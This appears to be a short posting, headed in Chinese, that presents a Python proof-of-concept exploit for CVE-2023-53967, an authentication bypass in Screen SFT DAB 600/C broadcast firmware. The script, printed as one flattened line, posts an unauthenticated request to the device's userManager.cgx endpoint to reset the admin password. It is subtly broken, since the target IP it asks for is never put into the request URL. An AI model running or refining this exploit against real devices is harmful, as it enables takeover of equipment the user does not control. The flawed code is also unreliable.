CVE-2023-53967 Screen SFT DAB 600/C 固件身份验证绕过漏洞

import requests import hashlib # CVE-2023-53967 PoC - Screen SFT DAB 600/C Admin Password Change # Target: userManager.cgx endpoint target_url = "http://<target-ip>/api/userManager.cgx" def generate_md5(password): """Generate MD5 hash of password""" return hashlib.md5(password.encode()).hexdigest() def change_admin_password(target_ip, new_password): """ Exploit authentication bypass in Screen SFT DAB 600/C firmware Allows changing admin password without current credentials """ new_password_md5 = generate_md5(new_password) # Malicious POST request to change admin password payload = { "action": "changePassword", "userId": "admin", "newPassword": new_password_md5 } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Password changed successfully!") print(f"[+] New password MD5: {new_password_md5}") return True else: print(f"[-] Failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False # Usage example if __name__ == "__main__": target_ip = input("Enter target IP: ") new_pass = input("Enter new admin password: ") change_admin_password(target_ip, new_pass)